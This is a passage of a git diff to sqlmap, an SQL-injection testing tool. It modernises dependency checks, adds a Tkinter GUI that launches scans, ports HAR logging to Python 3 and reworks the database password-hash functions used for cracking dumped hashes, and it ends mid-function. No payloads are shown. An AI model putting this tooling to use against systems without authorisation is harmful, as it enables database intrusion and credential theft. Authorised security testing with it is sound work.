warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] - logger.warn(warnMsg) + logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") - elif dbmsName == DBMS.PGSQL: + elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - __import__("cx_Oracle") + __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: @@ -41,16 +41,30 @@ def checkDependencies(): __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") - elif dbmsName == DBMS.HSQLDB: + elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") + elif dbmsName == DBMS.DERBY: + __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") + elif dbmsName == DBMS.PRESTO: + __import__("prestodb") + elif dbmsName == DBMS.MIMERSQL: + __import__("mimerpy") + elif dbmsName == DBMS.CUBRID: + __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add(data[1]) continue @@ -66,7 +80,7 @@ def checkDependencies(): warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'https://github.com/coresecurity/impacket'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-impacket') try: @@ -77,20 +91,50 @@ def checkDependencies(): warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-ntlm') try: - __import__("websocket.ABNF") - debugMsg = "'python websocket-client' library is found" + __import__("httpx") + debugMsg = "'httpx[http2]' third-party library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'httpx[http2]' third-party library " + warnMsg += "if you plan to use HTTP version 2" + logger.warning(warnMsg) + missing_libraries.add('httpx[http2]') + + try: + __import__("websocket._abnf") + debugMsg = "'websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('websocket-client') + try: + __import__("tkinter") + debugMsg = "'tkinter' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'tkinter' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter') + + try: + __import__("tkinter.ttk") + debugMsg = "'tkinter.ttk' library is found" + logger.debug(debugMsg) + except ImportError: + warnMsg = "sqlmap requires 'tkinter.ttk' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter.ttk') + if IS_WIN: try: __import__("pyreadline") @@ -102,7 +146,7 @@ def checkDependencies(): warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'https://pypi.org/project/pyreadline/'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 733fdf57078..00c92f87368 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def __init__(self): except ImportError: try: self.impl = _GetchMacCarbon() - except(AttributeError, ImportError): + except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): @@ -57,10 +57,12 @@ class _GetchMacCarbon(object): """ def __init__(self): import Carbon - Carbon.Evt # see if it has this (in Unix, it doesn't) + + getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon + if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: diff --git a/lib/utils/gui.py b/lib/utils/gui.py new file mode 100644 index 00000000000..3e3500bc507 --- /dev/null +++ b/lib/utils/gui.py @@ -0,0 +1,426 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re +import socket +import subprocess +import sys +import tempfile +import threading +import webbrowser + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import DEV_EMAIL_ADDRESS +from lib.core.settings import IS_WIN +from lib.core.settings import ISSUES_PAGE +from lib.core.settings import GIT_PAGE +from lib.core.settings import SITE +from lib.core.settings import VERSION_STRING +from lib.core.settings import WIKI_PAGE +from thirdparty.six.moves import queue as _queue + +alive = None +line = "" +process = None +queue = None + +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext + from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk + from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) + + # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x + class ConstrainedEntry(_tkinter.Entry): + def __init__(self, master=None, **kwargs): + self.var = _tkinter.StringVar() + self.regex = kwargs["regex"] + del kwargs["regex"] + _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) + self.old_value = '' + self.var.trace('w', self.check) + self.get, self.set = self.var.get, self.var.set + + def check(self, *args): + if re.search(self.regex, self.get()): + self.old_value = self.get() + else: + self.set(self.old_value) + + try: + window = _tkinter.Tk() + except Exception as ex: + errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) + + window.title("sqlmap - Tkinter GUI") + + # Set theme and colors + bg_color = "#f5f5f5" + fg_color = "#333333" + accent_color = "#2c7fb8" + window.configure(background=bg_color) + + # Configure styles + style = _tkinter_ttk.Style() + + # Try to use a more modern theme if available + available_themes = style.theme_names() + if 'clam' in available_themes: + style.theme_use('clam') + elif 'alt' in available_themes: + style.theme_use('alt') + + # Configure notebook style + style.configure("TNotebook", background=bg_color) + style.configure("TNotebook.Tab", + padding=[10, 4], + background="#e1e1e1", + font=('Helvetica', 9)) + style.map("TNotebook.Tab", + background=[("selected", accent_color), ("active", "#7fcdbb")], + foreground=[("selected", "white"), ("active", "white")]) + + # Configure button style + style.configure("TButton", + padding=4, + relief="flat", + background=accent_color, + foreground="white", + font=('Helvetica', 9)) + style.map("TButton", + background=[('active', '#41b6c4')]) + + # Reference: https://stackoverflow.com/a/10018670 + def center(window): + window.update_idletasks() + width = window.winfo_width() + frm_width = window.winfo_rootx() - window.winfo_x() + win_width = width + 2 * frm_width + height = window.winfo_height() + titlebar_height = window.winfo_rooty() - window.winfo_y() + win_height = height + titlebar_height + frm_width + x = window.winfo_screenwidth() // 2 - win_width // 2 + y = window.winfo_screenheight() // 2 - win_height // 2 + window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) + window.deiconify() + + def onKeyPress(event): + global line + global queue + + if process: + if event.char == '\b': + line = line[:-1] + else: + line += event.char + + def onReturnPress(event): + global line + global queue + + if process: + try: + process.stdin.write(("%s\n" % line.strip()).encode()) + process.stdin.flush() + except socket.error: + line = "" + event.widget.master.master.destroy() + return "break" + except: + return + + event.widget.insert(_tkinter.END, "\n") + + return "break" + + def run(): + global alive + global process + global queue + + config = {} + + for key in window._widgets: + dest, widget_type = key + widget = window._widgets[key] + + if hasattr(widget, "get") and not widget.get(): + value = None + elif widget_type == "string": + value = widget.get() + elif widget_type == "float": + value = float(widget.get()) + elif widget_type == "int": + value = int(widget.get()) + else: + value = bool(widget.var.get()) + + config[dest] = value + + for option in parser.option_list: + # Only set default if not already set by the user + if option.dest not in config or config[option.dest] is None: + config[option.dest] = defaults.get(option.dest, None) + + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + def enqueue(stream, queue): + global alive + + for line in iter(stream.readline, b''): + queue.put(line) + + alive = False + stream.close() + + alive = True + + process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) + + # Reference: https://stackoverflow.com/a/4896288 + queue = _queue.Queue() + thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) + thread.daemon = True + thread.start() + + top = _tkinter.Toplevel() + top.title("Console") + top.configure(background=bg_color) + + # Create a frame for the console + console_frame = _tkinter.Frame(top, bg=bg_color) + console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) + + # Reference: https://stackoverflow.com/a/13833338 + text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, + bg="#2c3e50", fg="#ecf0f1", + insertbackground="white", + font=('Consolas', 10)) + text.bind("<Key>", onKeyPress) + text.bind("<Return>", onReturnPress) + text.pack(fill=_tkinter.BOTH, expand=True) + text.focus() + + center(top) + + while True: + line = "" + try: + line = queue.get(timeout=.1) + text.insert(_tkinter.END, line) + except _queue.Empty: + text.see(_tkinter.END) + text.update_idletasks() + + if not alive: + break + + # Create a menu bar + menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) + + filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) + filemenu.add_command(label="Open", state=_tkinter.DISABLED) + filemenu.add_command(label="Save", state=_tkinter.DISABLED) + filemenu.add_separator() + filemenu.add_command(label="Exit", command=window.quit) + menubar.add_cascade(label="File", menu=filemenu) + + menubar.add_command(label="Run", command=run) + + helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) + helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) + helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) + helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) + helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) + helpmenu.add_separator() + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + menubar.add_cascade(label="Help", menu=helpmenu) + + window.config(menu=menubar, bg=bg_color) + window._widgets = {} + + # Create header frame + header_frame = _tkinter.Frame(window, bg=bg_color, height=60) + header_frame.pack(fill=_tkinter.X, pady=(0, 5)) + header_frame.pack_propagate(0) + + # Add header label + title_label = _tkinter.Label(header_frame, text="Configuration", + font=('Helvetica', 14), + fg=accent_color, bg=bg_color) + title_label.pack(side=_tkinter.LEFT, padx=15) + + # Add run button in header + run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) + run_button.pack(side=_tkinter.RIGHT, padx=15) + + # Create notebook + notebook = _tkinter_ttk.Notebook(window) + notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) + + # Store tab information for background loading + tab_frames = {} + tab_canvases = {} + tab_scrollable_frames = {} + tab_groups = {} + + # Create empty tabs with scrollable areas first (fast) + for group in parser.option_groups: + # Create a frame with scrollbar for the tab + tab_frame = _tkinter.Frame(notebook, bg=bg_color) + tab_frames[group.title] = tab_frame + + # Create a canvas with scrollbar + canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) + scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) + scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) + + # Store references + tab_canvases[group.title] = canvas + tab_scrollable_frames[group.title] = scrollable_frame + tab_groups[group.title] = group + + # Configure the canvas scrolling + scrollable_frame.bind( + "<Configure>", + lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) + ) + + canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") + canvas.configure(yscrollcommand=scrollbar.set) + + # Pack the canvas and scrollbar + canvas.pack(side="left", fill="both", expand=True) + scrollbar.pack(side="right", fill="y") + + # Add the tab to the notebook + notebook.add(tab_frame, text=group.title) + + # Add a loading indicator + loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", + font=('Helvetica', 12), + fg=accent_color, bg=bg_color) + loading_label.pack(expand=True) + + # Function to populate a tab in the background + def populate_tab(tab_name): + group = tab_groups[tab_name] + scrollable_frame = tab_scrollable_frames[tab_name] + canvas = tab_canvases[tab_name] + + # Remove loading indicator + for child in scrollable_frame.winfo_children(): + child.destroy() + + # Add content to the scrollable frame + row = 0 + + if group.get_description(): + desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), + wraplength=600, justify="left", + font=('Helvetica', 9), + fg="#555555", bg=bg_color) + desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) + row += 1 + + for option in group.option_list: + # Option label + option_label = _tkinter.Label(scrollable_frame, + text=parser.formatter._format_option_strings(option) + ":", + font=('Helvetica', 9), + fg=fg_color, bg=bg_color, + anchor="w") + option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) + + # Input widget + if option.type == "string": + widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), + relief="sunken", bd=1, width=20) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + elif option.type == "float": + widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", + font=('Helvetica', 9), + relief="sunken", bd=1, width=10) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + elif option.type == "int": + widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", + font=('Helvetica', 9), + relief="sunken", bd=1, width=10) + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + else: + var = _tkinter.IntVar() + widget = _tkinter.Checkbutton(scrollable_frame, variable=var, + bg=bg_color, activebackground=bg_color) + widget.var = var + widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) + + # Help text (truncated to improve performance) + help_text = option.help + if len(help_text) > 100: + help_text = help_text[:100] + "..." + + help_label = _tkinter.Label(scrollable_frame, text=help_text, + font=('Helvetica', 8), + fg="#666666", bg=bg_color, + wraplength=400, justify="left") + help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) + + # Store widget reference + window._widgets[(option.dest, option.type)] = widget + + # Set default value + default = defaults.get(option.dest) + if default: + if hasattr(widget, "insert"): + widget.insert(0, default) + elif hasattr(widget, "var"): + widget.var.set(1 if default else 0) + + row += 1 + + # Add some padding at the bottom + _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) + + # Update the scroll region after adding all widgets + canvas.update_idletasks() + canvas.configure(scrollregion=canvas.bbox("all")) + + # Update the UI to show the tab is fully loaded + window.update_idletasks() + + # Function to populate tabs in the background + def populate_tabs_background(): + for tab_name in tab_groups.keys(): + # Schedule each tab to be populated with a small delay between them + window.after(100, lambda name=tab_name: populate_tab(name)) + + # Start populating tabs in the background after a short delay + window.after(500, populate_tabs_background) + + # Set minimum window size + window.update() + window.minsize(800, 500) + + # Center the window on screen + center(window) + + # Start the GUI + window.mainloop() diff --git a/lib/utils/har.py b/lib/utils/har.py index 252da45d179..cb34bf39179 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,32 +1,34 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import base64 -import BaseHTTPServer import datetime -import httplib +import io import re -import StringIO import time from lib.core.bigarray import BigArray +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.settings import VERSION +from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer +from thirdparty.six.moves import http_client as _http_client # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ -class HTTPCollectorFactory: +class HTTPCollectorFactory(object): def __init__(self, harFile=False): self.harFile = harFile def create(self): return HTTPCollector() -class HTTPCollector: +class HTTPCollector(object): def __init__(self): self.messages = BigArray() self.extendedArguments = {} @@ -46,10 +48,10 @@ def obtain(self): "entries": [pair.toEntry().toDict() for pair in self.messages], }} -class RawPair: +class RawPair(object): def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): - self.request = request - self.response = response + self.request = getBytes(request) + self.response = getBytes(response) self.startTime = startTime self.endTime = endTime self.extendedArguments = extendedArguments or {} @@ -59,7 +61,7 @@ def toEntry(self): startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) -class Entry: +class Entry(object): def __init__(self, request, response, startTime, endTime, extendedArguments): self.request = request self.response = response @@ -83,7 +85,7 @@ def toDict(self): out.update(self.extendedArguments) return out -class Request: +class Request(object): def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): self.method = method self.path = path @@ -119,20 +121,20 @@ def toDict(self): "queryString": [], "headersSize": -1, "bodySize": -1, - "comment": self.comment, + "comment": getText(self.comment), } if self.postBody: contentType = self.headers.get("Content-Type") out["postData"] = { "mimeType": contentType, - "text": self.postBody.rstrip("\r\n"), + "text": getText(self.postBody).rstrip("\r\n"), } return out -class Response: - extract_status = re.compile(r'\((\d{3}) (.*)\)') +class Response(object): + extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): self.raw = raw @@ -146,24 +148,27 @@ def __init__(self, httpVersion, status, statusText, headers, content, raw=None, @classmethod def parse(cls, raw): altered = raw - comment = "" + comment = b"" - if altered.startswith("HTTP response [") or altered.startswith("HTTP redirect ["): - io = StringIO.StringIO(raw) - first_line = io.readline() + if altered.startswith(b"HTTP response [") or altered.startswith(b"HTTP redirect ["): + stream = io.BytesIO(raw) + first_line = stream.readline() parts = cls.extract_status.search(first_line) - status_line = "HTTP/1.0 %s %s" % (parts.group(1), parts.group(2)) - remain = io.read() - altered = status_line + "\r\n" + remain + status_line = "HTTP/1.0 %s %s" % (getText(parts.group(1)), getText(parts.group(2))) + remain = stream.read() + altered = getBytes(status_line) + b"\r\n" + remain comment = first_line - response = httplib.HTTPResponse(FakeSocket(altered)) + response = _http_client.HTTPResponse(FakeSocket(altered)) response.begin() + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5942 + response.length = len(raw[raw.find(b"\r\n\r\n") + 4:]) + try: - content = response.read(-1) - except httplib.IncompleteRead: - content = raw[raw.find("\r\n\r\n") + 4:].rstrip("\r\n") + content = response.read() + except _http_client.IncompleteRead: + content = raw[raw.find(b"\r\n\r\n") + 4:].rstrip(b"\r\n") return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", status=response.status, @@ -180,10 +185,12 @@ def toDict(self): "size": len(self.content or "") } - binary = set(['\0', '\1']) + binary = set([b'\0', b'\1']) if any(c in binary for c in self.content): content["encoding"] = "base64" - content["text"] = base64.b64encode(self.content) + content["text"] = getText(base64.b64encode(self.content)) + else: + content["text"] = getText(content["text"]) return { "httpVersion": self.httpVersion, @@ -195,29 +202,29 @@ def toDict(self): "headersSize": -1, "bodySize": -1, "redirectURL": "", - "comment": self.comment, + "comment": getText(self.comment), } -class FakeSocket: +class FakeSocket(object): # Original source: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string def __init__(self, response_text): - self._file = StringIO.StringIO(response_text) + self._file = io.BytesIO(response_text) def makefile(self, *args, **kwargs): return self._file -class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler): +class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): # Original source: # https://stackoverflow.com/questions/4685217/parse-raw-http-headers def __init__(self, request_text): self.comment = None - self.rfile = StringIO.StringIO(request_text) + self.rfile = io.BytesIO(request_text) self.raw_requestline = self.rfile.readline() - if self.raw_requestline.startswith("HTTP request ["): + if self.raw_requestline.startswith(b"HTTP request ["): self.comment = self.raw_requestline self.raw_requestline = self.rfile.readline() diff --git a/lib/utils/hash.py b/lib/utils/hash.py index ded67af3b8d..13a978149af 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,27 +12,19 @@ except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt -_multiprocessing = None try: - import multiprocessing - - # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) - _ = multiprocessing.Queue() + from Crypto.Cipher.DES import MODE_CBC as CBC + from Crypto.Cipher.DES import new as des +except: + from thirdparty.pydes.pyDes import CBC + from thirdparty.pydes.pyDes import des - # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) - _ = multiprocessing.Value('i') -except (ImportError, OSError, AttributeError): - pass -else: - try: - if multiprocessing.cpu_count() > 1: - _multiprocessing = multiprocessing - except NotImplementedError: - pass +_multiprocessing = None import base64 import binascii import gc +import math import os import re import tempfile @@ -45,7 +37,6 @@ from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 -from Queue import Queue from lib.core.common import Backend from lib.core.common import checkFile @@ -54,20 +45,27 @@ from lib.core.common import getFileItems from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.common import isZipFile from lib.core.common import normalizeUnicode +from lib.core.common import openFile from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage -from lib.core.convert import hexdecode -from lib.core.convert import hexencode -from lib.core.convert import utf8encode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import decodeHex +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH from lib.core.enums import MKSTEMP_PREFIX @@ -77,29 +75,32 @@ from lib.core.settings import COMMON_USER_COLUMNS from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_BINARY_COLUMNS_REGEX from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS +from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.oset.pyoset import oset -from thirdparty.pydes.pyDes import des -from thirdparty.pydes.pyDes import CBC +from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ Reference(s): - http://csl.sublevel3.org/mysql-password-function/ + https://web.archive.org/web/20120215205312/http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ + password = getBytes(password) + retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -107,8 +108,8 @@ def mysql_passwd(password, uppercase=True): def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): - http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c - http://voidnetwork.org/5ynL0rd/darkc0de/python_script/darkMySQLi.html + https://web.archive.org/web/20091205000600/http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c + https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/darkmysqli/DarkMySQLi.py >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' @@ -138,64 +139,62 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) - - if isinstance(password, unicode): - password = unicode.encode(password, UNICODE_ENCODING) + username = getBytes(username) + password = getBytes(password) retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() -def mssql_passwd(password, salt, uppercase=False): +def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): - http://www.leidecker.info/projects/phrasendrescher/mssql.c - https://www.evilfingers.com/tools/GSAuditor.php + http://hashcat.net/forum/thread-1474.html + https://sqlity.net/en/2460/sql-password-hash/ - >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) - '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' + >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' """ - binsalt = hexdecode(salt) - unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) + retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' +def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): - www.exploit-db.com/download_pdf/15537/ http://www.leidecker.info/projects/phrasendrescher/mssql.c https://www.evilfingers.com/tools/GSAuditor.php - >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) - '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' + >>> mssql_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ - binsalt = hexdecode(salt) - unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) + retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_new_passwd(password, salt, uppercase=False): +def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): - http://hashcat.net/forum/thread-1474.html + www.exploit-db.com/download_pdf/15537/ + http://www.leidecker.info/projects/phrasendrescher/mssql.c + https://www.evilfingers.com/tools/GSAuditor.php - >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) - '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' + >>> mssql_old_passwd(password='testpass', salt='4086ceb6', uppercase=True) + '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ - binsalt = hexdecode(salt) - unistr = "".join(("%s\0" if ord(_) < 256 else "%s") % utf8encode(_) for _ in password) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) - retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) + retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) @@ -210,9 +209,10 @@ def oracle_passwd(password, salt, uppercase=True): 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ - binsalt = hexdecode(salt) + binsalt = decodeHex(salt) + password = getBytes(password) - retVal = "s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) + retVal = "s:%s%s" % 